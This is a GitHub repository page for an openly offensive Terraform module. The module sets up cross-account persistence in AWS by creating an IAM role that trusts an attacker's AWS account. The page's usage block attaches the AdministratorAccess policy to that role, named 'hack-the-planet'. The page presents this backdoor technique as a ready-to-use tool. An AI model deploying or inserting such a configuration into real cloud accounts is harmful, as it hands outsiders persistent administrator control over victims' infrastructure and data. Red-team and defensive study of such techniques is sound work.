Skip to content

Offensive Terraform module which creates an IAM role with trust relationship with attacker's AWS account and attaches managed IAM Policy to an IAM role.

License

Notifications You must be signed in to change notification settings

offensive-terraform/terraform-aws-cross-account-persistence

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

AWS Cross Account Persistence

OffensiveTerraform OffensiveTerraform OffensiveTerraform

Offensive Terraform module which creates an IAM role with trust relationship with attacker's AWS account and attaches managed IAM Policy to an IAM role.

Attack Diagram

Usage

module "cross-account-persistence" {
  source  = "offensive-terraform/cross-account-persistence/aws"

  role_name           = "hack-the-planet"
  policy_arn          = "arn:aws:iam::aws:policy/AdministratorAccess"
  attacker_account_id = "000000000000"
}

output "role_arn" {
  value = module.cross-account-persistence.role_arn
}

Author

Module managed by https://github.com/iganbold

About

Offensive Terraform module which creates an IAM role with trust relationship with attacker's AWS account and attaches managed IAM Policy to an IAM role.

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages